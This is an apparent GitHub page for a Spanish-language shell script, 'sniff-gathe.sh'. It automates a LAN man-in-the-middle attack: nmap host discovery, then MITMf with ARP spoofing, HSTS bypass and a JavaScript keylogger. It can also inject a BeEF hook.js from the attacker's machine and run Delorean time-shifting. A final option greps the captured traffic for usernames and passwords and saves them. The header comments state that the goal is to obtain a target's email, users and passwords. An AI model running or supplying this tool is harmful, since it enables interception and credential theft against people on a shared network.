-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsniff-gathe.sh
348 lines (306 loc) · 9.12 KB
/
sniff-gathe.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
#!/bin/sh
# S N I F F - G A T H E by N A I V E N O M
#Es un script (shell script), para automatizar las herramientas de escaneo como Nmap y Man in the Middle como MITMF.
#El objetivo de la herramienta es el uso en una red LAN. A traves de una IP privada, donde no sabemos nada sobre ese host,
#poder sacar su correo electronico, usuarios y contraseñas de sitios web.
#Primero escaneamos la red con nmap, luego seleccionamos la IP donde se quiere esnifar el trafico y el gateway de la red (router).
#Seleccionamos nuestra interfaz (ethernet, wlan, etc...).Por ultimo ejecutamos MITMf de la opcion 6 (herramienta escrita en python).
#Se abrira una terminal nueva, donde podremos dar a la opcion 7, para ir viendo el resultado de la captura del Man in the Middle.
#Es importante ir actualizando esta ventana, para ver nuevos resultados.
#funcion pausa
pause()
{
read -p "Press [Enter] key to continue..." fackEnterKey
}
#logo
_logo()
{
tput setaf 1;
echo " "
echo " /\ "
echo "__/\________________/ \________________________ "
tput setaf 2;
echo " S N I F F - G A T H E by N A I V E N O M "
tput setaf 3;
echo "::::::::::::::::::::::::::::::::::::::::::::::::"
echo " "
}
#menu
_menu()
{
tput setaf 1;
echo " "
echo " /\ "
echo "__/\________________/ \________________________ "
tput setaf 2;
echo " S N I F F - G A T H E by N A I V E N O M "
tput setaf 3;
echo "::::::::::::::::::::::::::::::::::::::::::::::::"
echo " "
tput sgr0;
echo "Selecciona una opcion:"
echo
echo "1) Seleccionar Red [IP/MASK]"
echo "2) Escanear hosts"
echo "3) Seleccionar Target IP Host && Gateway"
echo "4) Seleccionar Interface"
echo "5) Mostrar opciones"
echo "6) MITMF"
echo "7) MITMF + BeeF"
echo "8) Delorean"
echo "9) Resultado de la captura"
echo "10) Ver captura completa"
echo
echo "11) Instalar Nmap"
echo "12) Instalar MITMF (Repositorios)"
echo "13) Instalar MITMF (Github [Recomendado])"
echo "14) Instalar Delorean (Github)"
echo
echo "15) Salir"
echo
echo -n "Indica una opcion: "
}
opc="0"
until [ "$opc" -eq "15" ];
do
case $opc in
1)
clear
_logo
tput setaf 2;
echo
echo "Introduce tu IP/MASK (Mascara notacion decimal /8../16../24..)"
read IP
echo
echo "IP/MASK seleccionada: $IP"
echo
pause
clear
_menu
;;
2)
clear
_logo
tput setaf 1;
echo
echo "Escaneando red..."
#nmap -sn $IP | cut -d" " -f5,6 | grep -v "^[latencyIncorporationTechnologiesMobility,a]" | tee /tmp/ip_targets | cat
echo "Hosts detectados: "
tput setaf 2;
nmap -sn $IP | cut -d" " -f5,6 | grep -e "1" | tee /tmp/ip_targets | cat
echo
pause
clear
_menu
;;
3)
clear
_logo
tput setaf 1;
echo
echo "Lista de hosts detectados: "
tput setaf 2;
cat /tmp/ip_targets
echo
echo "Selecciona IP host: "
echo
read IP_host
echo
echo "IP seleccionada: $IP_host"
echo
echo "Selecciona IP Gateway:"
echo
read IP_gateway
echo
echo "Gateway seleccionado: $IP_gateway"
echo
pause
clear
_menu
;;
4)
clear
_logo
tput setaf 1;
echo
echo "Interfaces disponibles: "
ifconfig -s | cut -d" " -f1 | grep -v "^[I]" | tee /tmp/interfaces | cat
echo
tput setaf 2;
echo "Introduce una interfaz de la lista:"
read interface
echo
echo "Interface seleccionada: $interface"
echo
pause
clear
_menu
;;
5)
clear
_logo
tput setaf 1;
echo
echo "Opciones establecidas: "
echo
tput setaf 2;
echo " Objetivo: $IP_host"
echo " Gateway: $IP_gateway"
echo " Interface: $interface"
echo
pause
clear
_menu
;;
6)
clear
_logo
cd /root
gnome-terminal -e ./sniff-gathe.sh
tput setaf 1;
echo
echo
echo "MITMF attack [Es necesario que este instalado el programa en /root, sino desde el source se puede modificar la ruta!!"
echo
tput setaf 2;
echo "Capturando posibles usuarios y contraseñas. "
cd /root/MITMf #entramos en la carpeta donde se encuentra el programa (cambiar si esta en otra ruta)
python mitmf.py --spoof --arp -i $interface --targets $IP_host --gateway $IP_gateway --hsts --jskeylogger > /tmp/captura
pause
clear
_menu
;;
7)
clear
_logo
cd /root
tput setaf 1;
gnome-terminal -e ./sniff-gathe.sh
echo
echo
echo "MITMF attack + BeeF"
echo
tput setaf 2;
echo "Inyectando hook... "
cd /root/MITMf #entramos en la carpeta donde se encuentra el programa (cambiar si esta en otra ruta)
python mitmf.py --spoof --arp -i $interface --targets $IP_host --gateway $IP_gateway --hsts --inject --js-url http://$(ifconfig $interface |grep 'inet addr:'| cut -d: -f2|awk '{ print $1}'):3000/hook.js
pause
clear
_menu
;;
8)
clear
_logo
cd /root
gnome-terminal -e ./sniff-gathe.sh
tput setaf 1;
echo
echo
echo "Delorean"
echo
tput setaf 2;
echo "Saltando en el tiempo... "
cd /root/Delorean #entramos en la carpeta donde se encuentra el programa (cambiar si esta en otra ruta)
./delorean.py
pause
clear
_menu
;;
9)
clear
_logo
tput setaf 2;
echo
echo
echo "Resultado de la captura [IR ACTUALIZANDO]"
echo
#cat /tmp/captura | grep -i 'pass' | tr -s "&" ":" | tr -s "%40" "@"
#Dependiendo de la web los campos pass, user, nick cambian. Habria que ir añadiendo mas.
cat /tmp/captura | grep -i -e 'pass' -e 'user' -e 'nick' | cut -d" " -f8-15 | tee /tmp/credenciales
echo
echo "Credenciales guardados en /tmp/credenciales. "
pause
clear
_menu
;;
10)
clear
_logo
echo
tput setaf 2;
echo "Captura completa: "
echo
cat /tmp/captura | uniq
echo
pause
clear
_menu
;;
11)
clear
_logo
tput setaf 2;
echo
echo "Instalar NMAP (Requerido tener actualizado y añadido los repositorios)"
pause
apt-get install nmap
pause
clear
_menu
;;
12)
clear
_logo
tput setaf 2;
echo
echo "Instalar MITMF (Requerido tener actualizado y añadido los repositorios)"
pause
apt-get install mitmf
pause
clear
_menu
;;
13)
clear
_logo
tput setaf 2;
echo
echo "Instalar MITMF (Desde Github) [Para que funcione la opcion 6, se tiene que instalar en la carpeta /root o desde el source se puede modificar la ruta!!"
pause
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
echo "CLONAR REPOSITORIOS DE MITMf"
pause
git clone https://github.com/byt3bl33d3r/MITMf
echo "cd AL DIRECTORIO CREADO E INICIAR Y CLONAR SUBMODULOS"
pause
cd MITMf && git submodule init && git submodule update --recursive
echo "INSTALAR DEPENDENCIAS"
pause
pip install -r requirements.txt
pause
clear
_menu
;;
14)
clear
_logo
tput setaf 2;
echo
echo "Instalar Delorean desde Github (Para que funcione la opcion 8, se tiene que instalar en la carpeta /root o desde el source se puede modificar la ruta!!"
pause
echo "CLONAR DESDE GITHUB"
pause
cd /root
git clone https://github.com/PentesterES/Delorean.git
pause
clear
_menu
;;
*)
# Esta opcion se ejecuta si no es ninguna de las anteriores
clear
_menu
;;
esac
read opc
done